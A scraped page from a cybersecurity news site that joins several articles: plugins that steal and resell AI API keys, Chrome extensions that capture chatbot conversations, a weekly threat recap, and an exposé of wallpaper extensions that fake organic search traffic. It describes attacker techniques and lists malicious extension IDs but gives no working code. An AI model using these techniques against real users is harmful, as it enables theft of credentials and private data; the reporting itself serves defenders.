«Los complementos también ejecutan un nivel pago», dijo la compañía. «Después de que un usuario paga una pequeña tarifa a través del muro de donaciones integrado en el complemento, el servidor envía una clave API al cliente, y el complemento comienza a usar esa clave para sus llamadas de modelo en lugar de la suya propia, lo cual es extraño, ya que ningún operador legítimo simplemente le entregaría a un usuario una clave funcional y sin restricciones a un proveedor de IA pago».

Esto ha planteado la posibilidad de que los operadores detrás de la campaña probablemente estén compartiendo las claves API del proveedor de IA robadas con otros actores de amenazas como parte de un esquema de monetización ilícito, convirtiéndolo efectivamente en un servicio que otorga a los usuarios de pago acceso al proveedor de IA de la víctima.

«El operador cobra el dinero por un lado y las credenciales gratuitas por el otro, mientras que los auténticos propietarios de claves pagan la factura», añadió Makari.

La campaña es una prueba más de cómo los actores de amenazas son apuntando cada vez más a entornos de desarrollo a través del ecosistema de código abierto, que se ha convertido en un objetivo lucrativo debido al hecho de que alojan código fuente, credenciales de nube, claves de firma y claves API para servicios de inteligencia artificial pagos que pueden revenderse para esquemas de secuestro de LLM.

«Trate un complemento de la misma manera que trataría cualquier dependencia que se ejecute con sus privilegios, y tenga cuidado al pegar secretos de larga duración en herramientas que no haya examinado», dijo Aikido Security.

Extensiones maliciosas de Chrome roban conversaciones de IA

El desarrollo coincide con el descubrimiento de dos extensiones de bloqueador de anuncios de Google Chrome que han sido capturadas capturando conversaciones de los usuarios con chatbots de IA como OpenAI ChatGPT, Anthropic Claude, Google Gemini, Microsoft Copilot, Perplexity, DeepSeek, xAI Grok y Meta AI. La operación de recopilación de datos ha recibido el nombre en código Ladrón rápido por el investigador Jean-Marie R.

Ciberseguridad

Los nombres de las extensiones, que todavía están disponibles en Chrome Web Store, son los siguientes:

  • Smart Adblocker (ID: iojpcjjdfhlcbgjnpngcmaojmlokmeii) – 90.000 usuarios (publicado en octubre de 2022)
  • Adblock para navegador (ID: jcbjcocinigpbgfpnhlpagidbmlngnnn) – 10.000 usuarios (publicado en agosto de 2023)

«Aunque se presentan como bloqueadores de anuncios, las extensiones incluyen un motor de interceptación personalizado que registra conversaciones no públicas, uso de modelos y metadatos de nivel de cuenta de todas las principales plataformas de inteligencia artificial (ChatGPT, Claude, Gemini y otras)», dijo el investigador. «La operación utiliza listas de filtros públicas legítimas (EasyList, IDCAC) como cobertura funcional, proporcionando una verdadera utilidad de bloqueo de publicidad mientras ejecuta un canal de telemetría no revelado».

El hecho de que las dos extensiones existan desde hace varios años indica que las actualizaciones relacionadas con la IA se introdujeron en forma de actualizaciones de software.

Estos esfuerzos son parte de una técnica de ataque llamada Prompt Poaching. En los últimos meses, se ha observado que extensiones de navegador, tanto legítimas como maliciosas, adoptan este método para capturar sigilosamente chats de IA. Lo que no está claro es si estas prácticas violan las políticas de Google para las extensiones del navegador.

«Las extensiones interceptan el historial completo de conversaciones de IA, el uso del modelo y el nivel de suscripción de ocho plataformas, y transmiten estos datos a la infraestructura controlada por el operador sin notificar al usuario más allá de una cadena de consentimiento genérica de ‘Protección mejorada’», señaló el investigador.

Chrome 0-Day, UniFi Exploits, macOS Stealers, VPN Flaw and More – CYBERDEFENSA.MX

Stuff broke again. Not in a movie way. An old tool was left exposed. An abandoned package was abused. A deprecated feature was still running in prod.

This week is the same lesson in a new form: phishing kits are easier to rent, AI names are useful bait, old login paths still fail, and forgotten software keeps becoming someone else’s entry point.

Scroll through the full Monday Cybersecurity Recap below for the news, tools, webinars, and fixes worth your time this week.

⚡ Threat of the Week

Google Patches Actively Exploited Chrome 0-Day – Google released security updates to address 74 vulnerabilities, including one that has come under active exploitation in the wild. The high-severity vulnerability, tracked as CVE-2026-11645 (CVSS score: 8.8), has been described as an out-of-bounds memory access in V8, Chrome’s JavaScript and WebAssembly engine. Google acknowledged that an «exploit for CVE-2026-11645 exists in the wild,» but stopped short of sharing additional specifics to ensure that a majority of the users are updated with a fix and to prevent further exploitation. Google has addressed a total of five actively exploited Chrome zero-days since the start of the year. This includes CVE-2026-2441, CVE-2026-3909, CVE-2026-3910, and CVE-2026-5281.

🔔 Top News

  • ShinyHunters Gang Exploits Oracle PeopleSoft Zero-Day – The ShinyHunters (aka UNC6240) extortion crew exploited an unpatched flaw in Oracle PeopleSoft (CVE-2026-35273, CVSS score: 9.8) to break into enterprise networks. The vulnerability relates to a missing authentication for a critical function that could allow an unauthenticated attacker to obtain takeover of PeopleSoft Enterprise PeopleTools. According to Google Mandiant, the exploitation activity was observed between May 27 and June 9, 2026. Following a successful compromise, the attackers have been observed conducting targeted internal reconnaissance using MeshCentral, lateral movement, and data exfiltration. The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has added the flaw to its Known Exploited Vulnerabilities (KEV) catalog, giving Federal Civilian Executive Branch (FCEB) agencies until June 15, 2026, to apply the fixes. The campaign has mainly targeted the higher education sector; 68% of the more than 100 notified organizations were universities and colleges. «The observed exploitation targeted PeopleSoft’s Environment Management Hub (PSEMHUB) endpoints, and data stolen during the campaign was published on the ShinyHunters Data Leak Site (DLS) on June 9, 2026,» Rapid7 said.
  • 100s of Arch Linux Packages Compromised to Push Rootkit and Stealer – Unknown threat actors have managed to compromise hundreds of legitimate-but-abandoned packages in the Arch User Repository (AUR) and modify them with preinstall scripts that download and execute a malicious npm package called atomic-lockfile. The campaign has been codenamed Atomic Arch by Sonatype. «Analysis of atomic-lockfile, the malicious dependency, found a bundled Linux payload with functionality tied to credential harvesting, stealth, anti-debugging, and potential data exfiltration,» the company said. Although the initial number of affected packages was 400, it has since risen to over 1,500. As of June 12, 2026, Arch Linux developers have deleted all the malicious commits they are aware of.
  • Outside PhaaS Enterprise Taken Down – The U.S. Federal Bureau of Investigation said it took down a number of domains linked to Outsider, a Chinese phishing-as-a-service (PhaaS) software kit behind an estimated 3,870,000 stolen credit cards and a corresponding estimated $1.9 billion in losses since July 2023. In tandem, Google said it pursuing legal action against the operators, who weaponized Gemini to «help generate fraudulent phishing pages and deploy massive SMS phishing (‘smishing’) attacks, often through text messages impersonating legitimate brands, alerting recipients of ‘brokerage account issues’ or insisting they are eligible for ‘rewards through their mobile phone carrier.» According to a complaint filed by Google, the group «built, maintains, and uses a turn-key, online software suite that enables criminals, regardless of technical skill, to publish fraudulent websites designed to rob victims and enrich themselves.» The toolkit costs $88 per week or $200 per month, offering access to more than 290 pre-built templates that mimic legitimate websites. The goal is to steal passwords and corresponding multi-factor authentication codes, as well as financial information in real-time. «Part of the Outsider software’s appeal is the ease with which someone with limited technical expertise -like many members of the Enterprise – can purchase the software, execute various phishing attacks, and, upon purchase, meet other members of the Enterprise who are proficient in other areas,» the tech giant added.
  • Critical Check Point VPN Flaw Exploited in Limited Attacks – Check Point warned of active exploitation of a critical vulnerability CVE-2026-50751 (CVSS score: 9.3) impacting Remote Access VPN and Mobile Access deployments that are configured to use the deprecated IKEv1 key exchange protocol. The security flaw is a case of a logic flow weakness in certificate validation that allows an unauthenticated remote attacker to bypass user authentication and establish a remote access VPN connection without a valid user password. The Israeli cybersecurity company said it first observed indications of suspicious activity on June 4, 2026, with the earliest observed exploitation dating back to May 7, 2026. Exploitation efforts are said to have ramped up starting this month. The exploitation activity, Check Point added, has been limited to a «few dozen targeted organizations globally.» In one case, the post-exploitation phase has been associated with a Qilin ransomware affiliate.
  • The Gentlemen Ransomware Claims 478 Victims – A new analysis of The Gentlemen operation revealed that the financially motivated threat group initially operated as an affiliate responsible for conducting double extortion attacks, while leveraging resources from various ransomware-as-a-service (RaaS) schemes like LockBit (aka Tenacious Mantis), Qilin (aka Pestilent Mantis), and Medusa (aka Venomous Mantis). The group, which it tracks as Phantom Mantis, is led by a Russian-speaking cybercriminal it calls LARVA-368, who goes by the online aliases hastalamuerte, ArmCorp, zeta88, nobody0, and santamuerte. The Gentlemen is known to be active since March 2025, claiming a total of 478 victims to date. Microsoft, which is tracking the cluster under the moniker Storm-2697, said the operation «initially started as a closed ransomware group then began offering its RaaS to affiliates in September 2025.»

‎🔥 Trending CVEs

Bugs drop weekly, and the gap between a patch and an exploit is shrinking fast. These are the heavy hitters for the week: high-severity, widely used, or already being poked at in the wild.

Check the list, patch what you have, and hit the ones marked urgent first – CVE-2026-11645 (Google Chrome), CVE-2026-50751 (Check Point Remote Access VPN and Mobile Access), CVE-2026-35273 (Oracle PeopleSoft), CVE-2026-5027 (Langflow), CVE-2026-44963 (Veeam Backup & Replication), CVE-2026-23111 (Linux kernel), CVE-2026-45447 (OpenSSL), CVE-2026-44748, CVE-2026-27671 (SAP NetWeaver AS ABAP and ABAP Platform), CVE-2026-22732 (SAP Commerce Cloud and SAP Data Hub), CVE-2026-40128 (SAP NetWeaver Application Server Java Web Container), CVE-2026-10520 (Ivanti Sentry), CVE-2026-28252, CVE-2026-28253, CVE-2026-28254, CVE-2026-28255, CVE-2026-28256 (Trane Tracer SC+ HVAC controller), CVE-2025-46412, CVE-2025-41426 (Vertiv Liebert IS-UNITY-DP network cards), CVE-2026-0274 (Palo Alto Networks Cortex XSOAR and Cortex XSIAM), CVE-2026-20253 (Splunk Enterprise), CVE-2026-9648 (Haskell TLS software stack), from CVE-2026-12007 through CVE-2026-12011 (Google Chrome), CVE-2026-45034 (PhpSpreadsheet), PTT-2026-004, PTT-2026-005, an authentication bypass vulnerability (phpBB), and a maximum-severity code injection vulnerability in Wazuh (no CVE).

🎥 Expert Webinars

  • Find Out What Your Automated Pentest Is Missing Before Attackers Do → Automated pentesting is useful. It is also easy to overread. A tool that proves an exploit path worked does not prove your SIEM saw it, your EDR reacted, or your team could respond before damage spread. This webinar cuts through that gap: what automated pentesting actually validates, why repeat runs start returning fewer useful findings, and how BAS helps show which controls failed, not just which vulnerabilities exist.
  • Stop AI-Speed Attacks Before Your Legacy Controls Catch UpAI has changed the pace of cyberattacks. Lures get sharper, campaigns adapt faster, and attackers can test what works before defenders finish investigating. This webinar breaks down how AI-powered threats like Mythos get in, move, and scale, then shows how to fight back with tighter access, reduced attack surface, blocked lateral movement, and in-line controls that stop risky behavior before it becomes an incident.
  • Stop Employees From Leaking Source Code, Contracts, and PII Into AI Tools → Employees are already pasting company data into AI tools. Source code, contracts, customer records, and internal notes can leave the business through one prompt. This webinar shows how to move from after-the-fact detection to real-time prevention, with browser-level controls that stop risky AI use at the point where data is about to leak.

📰 Around the Cyber World

  • Campaigns Use AI Brands as Lures – Microsoft warned of campaigns capitalizing on the global interest around artificial intelligence (AI) as a social engineering lure in campaigns. «These campaigns, which don’t represent compromise of services, span phishing, malvertising, and search engine optimization (SEO)-driven attacks that ultimately lead to credential theft, financial fraud, or malware infection,» the company said. Some of the campaigns include a ChatGPT-themed lure that leads to a phishing kit collecting credit card data, a Claude-themed phishing campaign collecting credentials and access tokens, an «Awesome AI Windows Plugin» malvertising campaign deploying Vidar Stealer, and Fake DeepSeek V4 installers on GitHub delivering Vidar Stealer. The tech giant said it «observed the initial access broker Storm-3075 employing AI-themed malvertising to deliver payloads, including malware signed by the malware-signing-as-a-service (MSaaS) offering attributed to the financially motivated threat actor Fox Tempest, on behalf of multiple downstream actors.»
  • macOS Users Targeted by Fake Installers – Deceptive installers for popular software are being used to push information stealers to macOS users. «The infection chain almost always starts inside a web browser,» Huntress said. «Threat actors lean heavily on search engine optimization (SEO) poisoning to hijack search results, or they seed compromised links across torrent networks and cracked software forums. A user drops their guard, clicks the malicious link, and downloads what they assume is an authentic installer.» The DMG files, once executed, aim to bypass Apple Gatekeeper protections to realize their goals. In 2024, more than 65% of newly reported macOS malware was classified as infostealers.
  • History of Chinese-Language Guarantee Marketplaces – Flare has shed light on the «guarantee model» that powers various illicit online Telegram marketplaces like HuiOne Guarantee and Tudou Guarantee. «These marketplaces are third-party escrow services for illicit transactions,» security researcher Chris d’Eon explained. «The marketplace operator stands between buyer and seller, holds the buyer’s funds in escrow, releases them to the seller only when the buyer confirms delivery, and adjudicates disputes when something goes wrong. In return, the operator collects deposits from vendors who want to advertise under its brand, fees on transactions, and revenue from paid promotional slots.» The model, which has its roots in legitimate Chinese consumer-internet trust architecture launched by Alipay in 2003, facilitates the sale of money laundering services, stolen data, fraud kits, fake identity documents, recruitment for scam compounds, retail fraud, deepfake services, and the physical infrastructure that drives human trafficking and forced-labour compounds. Law enforcement crackdown has led to «fragmentation but not elimination» of the criminal enterprise. More than 30 successor marketplaces have emerged following the takedown of HuiOne and Xinbi, almost all of them managing their operations via Telegram owing to its reach, bot infrastructure, and improved resilience despite the platform’s efforts to crack down on such activities. These include Tiancheng, Dabai, Ouyi, Yinuo, Jin Bo, Haihua, Timi, and Lao Niu.
  • UniFi OS Flaws Exploited – The UniFi OS Server remote code execution chain, comprising CVE-2026-34908, CVE-2026-34909, and CVE-2026-34910, is now being actively exploited, according to Defused Cyber, following a report from Bishop Fox about how the three flaws could be combined to achieve unauthenticated code execution as root. The attacks culminated in the deployment of commodity malware.
  • Khmer Shadow Targets Cambodian Government Entities – A targeted cyber espionage campaign against Cambodian government entities has leveraged a meeting-themed SFX archive to sideload a custom C++ loader dubbed NIGHTFORGE, which then decrypts and executes a Havoc Demon payload in memory. «NIGHTFORGE has demonstrated a moderate level of sophistication, combining advanced defense-evasion techniques such as NTDLL unhooking and Hell’s Gate syscall resolution, a method that enables direct system calls and helps evade user-mode monitoring, with operational shortcomings that suggest the tool is still under active development,» Acronis said. The activity has been attributed to any known threat group, but it’s «likely aligned with regional intelligence collection interests in Southeast Asia.»
  • How Attackers Could Exploit Cloud Logging Services – Palo Alto Networks Unit 42 has warned that threat actors could exploit cloud logging services, which are crucial for security monitoring, to «create weak spots, evade detection, and in certain scenarios, establish continuous visibility within a target’s environment.» Attackers could tamper with resources within the cloud logging service (e.g., disabling, altering, or deleting logs, or even impairing logging) to hide their presence or attempt to route logs to their own accounts, establishing continuous visibility over the victim’s environment, performing continuous discovery, and passively monitoring all activity.
  • Operation TaxShadow Delivers Multi-Stage Malware Framework – An Indian tax-themed phishing campaign has been observed delivering a sophisticated multi-stage malware framework through a mix of social engineering, phishing infrastructure, and memory-resident malware execution techniques. «The campaign begins with a fraudulent tax notification email impersonating an official Indian tax authority, leveraging government branding, urgency-based messaging, and compliance-related threats to manipulate victims into interacting with a malicious phishing website,» CYFIRMA said. «Victims are subsequently instructed to download a malicious ZIP archive containing three staged payload components: कर विवरण.exe, SbieDll.dll, and SbieDll.bin, which collectively establish the complete infection lifecycle.» The attack makes use of a highly modular malware architecture, coupled with advanced defense-evasion and anti-analysis techniques, to launch a payload in memory. The malware also establishes persistent WebSocket-based communications.
  • MagicAd Displays Background Ads on Android Devices – A new Android trojan called MagicAd has been found to bypass operating system restrictions to display background ads. «One of these methods is universal, while the others are designed for devices from specific manufacturers,» Russian cybersecurity company Doctor Web said. «These include exploiting third-party software and using the system media player.» The malware is distributed via apps on GetApps, the official app catalog for Xiaomi devices. It has been discovered in more than 50 games and apps. The campaign is assessed to have commenced in 2025, with the threat actors behind it also leveraging the Samsung Galaxy Store as a distribution mechanism. Currently, none of the apps are available for download.
  • Residential Proxies in the Wild – Residential proxies are designed to relay internet traffic through devices that belong to regular consumers, such as home routers, mobile devices, IoT devices, and devices with applications embedded with proxyware. One way this is achieved is that application developers themselves can embed software development kits (SDKs) provided by the residential proxy networks into their products as a way to monetize their software, allowing them to receive a small amount of money on each installation. In an analysis published last week, Infoblox said monthly queries to residential proxy domains steadily grew from nearly 400 billion to over 500 billion between January 2025 and April 2026 across its customer base, an increase of about 25%. «There are likely several explanations for this: certainly, the rise in AI-related training, which often requires scraping websites, is a major driver of residential proxy demand,» it said. «Residential proxies bypass many anti-scraping measures, as the traffic appears to be coming from the devices of real people.» Some of the most commonly observed proxy services queried include Bright Data, Hola VPN, Oxylabs Proxy, Honeygain, and Grass. The DNS threat intelligence firm said many residential proxy services operate in a grey space.
  • SHEET#CREEP Drops C# Remote Access Trojan – An ongoing cyber espionage campaign dubbed SHEET#CREEP has leveraged a diplomatic-themed ISO phishing lure to distribute a C# remote access trojan (RAT). The activity was previously flagged by Zscaler and Bitdefender, attributing it to a threat actor known as Transparent Tribe. «The RAT abuses the Google Sheets API as its command-and-control (C2) channel, authenticating via an embedded GCP service account private key and using individual spreadsheet tabs per victim for bidirectional communication,» Securonix researchers Shikha Sangwan, Akshay Gaikwad, and Aaron Beardslee said. «The LNK triggers a C# dropper that extracts a bait PDF, drops the RAT payload into the Windows Vault directory, and establishes persistence through a scheduled task, before melting (self-deleting) to remove forensic traces.» The cybersecurity company said it identified 91 active victim tabs in the C2 spreadsheet, including a high-confidence target located in Pakistan.
  • Malware Distributed via npm and PyPI Packages – A cryptocurrency-focused software supply chain campaign has used malicious npm packages to facilitate credential harvesting, wallet theft, remote payload delivery, and blockchain-based command-and-control. «Technical analysis uncovered capabilities including cryptocurrency wallet interception, private key and mnemonic phrase theft, SSH credential harvesting, environment variable collection, sensitive file discovery, remote activation mechanisms, blockchain-based infrastructure retrieval, and multi-stage malware deployment,» CYFIRMA said. A second campaign, codenamed Solana FakeFix, has targeted Solana developers with 20 bogus npm and PyPI packages to steal wallet keys, cloud credentials, source-control tokens, SSH keys, and environment secrets, while a third campaign, CMS Windows Loader, has used five npm packages to load remote executables and JavaScript code dynamically. In a related development, two versions of the dbmux npm package (2.2.5 and 1.0.5) were flagged for containing malware. «Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer,» according to a GitHub advisory. «The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.»
  • Ransomware Attack Uses Easyupload.io for Data Exfiltration – In one ransomware attack investigated by Huntress, a threat actor accessed the victim’s hypervisor and created a new virtual machine (VM) as a staging location from which they launched the Akira ransomware. The threat actor rapidly progressed through the attack, disabling Microsoft Defender and installing WinRAR, an archival tool typically used by threat actors for staging data. «The threat actor used the Microsoft Edge browser to access Bing, and search for the term ‘eayupload’ before settling on Easyupload.io, a website that provides access to file uploads via drag-and-drop,» the cybersecurity company said. «Shortly after accessing the LimeWire website, presumably to exfiltrate staged archives, the threat actor launched the akira.exe file encryptor against several mounted shares.»

🔧 Cybersecurity Tools

  • SpooNMAP → It is a Python tool that wraps Nmap and Masscan to make port scanning easier and faster. It guides users through scan options, supports small, medium, large, full, and custom scans, can grab service banners with Nmap, and lets users scan target IPs or CIDR ranges from a file.
  • CVE MCP Server → It connects Claude to 27 security intelligence tools across 21 data sources, helping analysts look up CVEs, check EPSS and CISA KEV status, find PoCs, scan dependencies, review IP reputation, and generate risk reports from one place.

Disclaimer: This is strictly for research and learning. It hasn’t been through a formal security audit, so don’t just blindly drop it into production. Read the code, break it in a sandbox first, and make sure whatever you’re doing stays on the right side of the law.

Conclusion

This week’s lesson is simple: attackers do not need magic. They need old code, busy teams, weak defaults, and one forgotten box nobody wants to claim.

That is the uncomfortable part. The next big incident may already be sitting in your stack, quietly working as designed.

152 extensiones de fondos de pantalla de Chrome con 105.000 instalaciones vinculadas a adware y tráfico falso – CYBERDEFENSA.MX

Investigadores de ciberseguridad han descubierto una red de 152 extensiones de Google Chrome que actúan como complementos de fondos de pantalla animados en nuevas pestañas para distribuir una familia de programas potencialmente no deseados (PUP).

El clúster abarca 38 cuentas de editor independientes de Chrome Web Store y tres backends de marca: tabplugins[.]com, yowgames[.]com y chromewallpaper[.]com. Se han instalado colectivamente 105.000 veces. Los nombres de algunas de las extensiones se enumeran a continuación:

  • Neymar – Fondo de pantalla animado de fútbol (laafpeklcnlfmjaofbndehkjpnccbhek)
  • Satoru Gojo Manga Fondo de pantalla en vivo (mnpacdigbockiilmilhbedciadenfdnb)
  • Porsche 911 – Fondo de pantalla en vivo de autos deportivos (trabajador de servicio muerto) (iedplnnolciaofkakkjmcojnmklpfikg)
  • Satoru Gojo Live Wallpaper (ipiabbhciknabpoihaakdahgghllelpj)
  • Hello Kitty Wallpapers HD Nueva pestaña (hijpkhinofkdobfagfbobnnoihmopgkk)
  • Pusheen Cat Wallpapers HD Nueva pestaña (famchdjojcnakamhkddkpaglnkonkfnl)
  • Peach & Goma Wallpapers HD Nueva pestaña (nomekamioepglinefhenifnbegjhfiai)
  • Spider-Man Miles Morales Swing Live Wallpaper (jjngbcodoldjmpjpfbhfelaljbdlkekh)
  • BMW M3 Neon Night Drive Fondo de pantalla en vivo (gfikbhpfjldbbikolkcimfgmejhdkjbe)
  • Fondos de pantalla de BMW (dbiamdajndfmpmmeklcbbnekhkdcakhf)
  • Death Note Anime Wallpapers HD Nueva pestaña (pkdloppfapenphihgbldhjjlfhgnkmcg)
  • Sonic Frontiers Starfall Live Wallpaper (imkepemaflommlonnppjobgdpokbfmoj)
  • Tanjiro – Demon Slayer Live Wallpaper (ibglidkppckhminbhbgcajomjplomcka)
  • Fondo de pantalla de nueva pestaña de Neymar (gkbfokaephnaajnmpgiieidpfieamggb)
  • Anime Car Drift Live Wallpaper (bcafgkhoifffmnoajkgmbhcojpabjffm)
  • Nueva pestaña de Fondos de pantalla de Choso (ojeaociifmdciibodcifjjocdlbjjeep)
  • Anime lluvia fondo de pantalla en vivo (npcghghfkbpgiamoifabankdnmopenni)
  • Minecraft Sakura Pond Live Wallpaper (mjdhgndjbajnanfimjipafechjbakdhh)
  • Sombrero de Paja Live Wallpaper Fantasma de Tsushima (lblgjffllphdepifdkfhlihddckhlkll)
  • Zenitsu Agatsuma Live Wallpaper (laeciedchhnmnfhllplcgkfcdbdfgdhn)

«Cada listado declara en Chrome Web Store que no recopilará ni utilizará datos del usuario, mientras que la política de privacidad vinculada admite lo contrario: que las extensiones registren direcciones IP, ISP, recuentos de clics y referencias y compartan esos datos con Google AdSense, DoubleClick y socios publicitarios externos», dijo el investigador de seguridad de Socket, Kush Pandya. dicho.

Ciberseguridad

Es más, un subgrupo de extensiones identificadas define dos URL codificadas en un archivo JavaScript («js/bg.js») que se activan durante las operaciones de instalación y desinstalación:

  • La URL de instalación incluye los parámetros del módulo de seguimiento de Urchin (UTM) «utm_source=google&utm_medium=organic&utm_campaign=tanjiro-demon-slayer-live-wallpaper», disfrazando así la extensión que abre una pestaña de instalación como una búsqueda «orgánica».
  • La URL de desinstalación es un contenedor de redireccionamiento google.com/url que disfraza la desinstalación como una actividad genuina de la Búsqueda de Google.

La búsqueda orgánica en motores de búsqueda como Gook se refiere a los listados no pagados en una página de resultados de un motor de búsqueda (SERP) generados por algoritmos. Su ubicación se basa en parámetros como relevancia, autoridad y optimización de motores de búsqueda (SEO), y es diferente de los resultados patrocinados.

La idea detrás de estas extensiones, dijo Socket, es crear artificialmente esa señal, lo que esencialmente equivale a fabricar el origen de su propio tráfico.

«La visita no es una persona que buscó en Google; es la extensión que abre una pestaña por sí sola y la marca ‘llegó de la búsqueda orgánica de Google’», explicó la compañía.

Ciberseguridad

«El ping de desinstalación va un paso más allá, envolviendo el destino en el formato exacto google.com/url que Google usa para clics en resultados de búsqueda reales, incluidos los tokens ved y usg firmados, por lo que el resultado parece un humano haciendo clic en un resultado de Google».

Los archivos JavaScript también vienen equipados con una capacidad inactiva para enumerar y eliminar cada base de datos IndexedDB que pueda encontrar al iniciar un trabajador de servicio.

Se considera que la campaña es una «operación afiliada de fraude de atribución de tráfico y publicidad comercial con motivación financiera», aunque se desconoce su procedencia exacta. Los indicadores circunstanciales disponibles sugieren que podría tener su origen en Turquía.